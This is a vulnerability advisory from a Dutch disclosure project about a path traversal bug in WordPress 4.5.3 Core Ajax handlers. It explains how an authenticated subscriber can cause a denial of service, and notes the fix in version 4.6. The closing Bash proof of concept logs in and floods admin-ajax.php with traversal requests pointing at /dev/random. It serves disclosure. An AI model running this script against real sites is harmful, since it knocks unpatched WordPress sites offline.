WordPress 4.5.3 Core Ajax Handlers Path Traversal

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Path traversal vulnerability in WordPress Core Ajax handlers  
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Yorick Koster, July 2016  
  
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Abstract  
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A path traversal vulnerability was found in the Core Ajax handlers of  
the WordPress Admin API. This issue can (potentially) be used by an  
authenticated user (Subscriber) to create a denial of service condition  
of an affected WordPress site.  
  
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OVE ID  
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OVE-20160712-0036  
  
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See also  
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#37490 - Improve capability checks in wp_ajax_update_plugin() and  
wp_ajax_delete_plugin()  
  
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Tested versions  
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This issue was successfully tested on the WordPress version 4.5.3.  
  
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Fix  
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WordPress version 4.6 mitigates this vulnerability by moving the CSRF  
check to the top of the affected method(s).  
  
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Details  
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https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html  
  
Proof of concept  
  
The following Bash script can be used to trigger the denial of service condition.  
  
#!/bin/bash  
target="http://<target>"  
username="subscriber"  
password="password"  
cookiejar=$(mktemp)  
  
# login  
curl --cookie-jar "$cookiejar" \  
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \  
"$target/wp-login.php" \  
>/dev/null 2>&1  
  
# exhaust apache  
for i in `seq 1 1000`  
do  
curl --cookie "$cookiejar" \  
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \  
"$target/wp-admin/admin-ajax.php" \  
>/dev/null 2>&1 &  
done  
  
rm "$cookiejar"  
  
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
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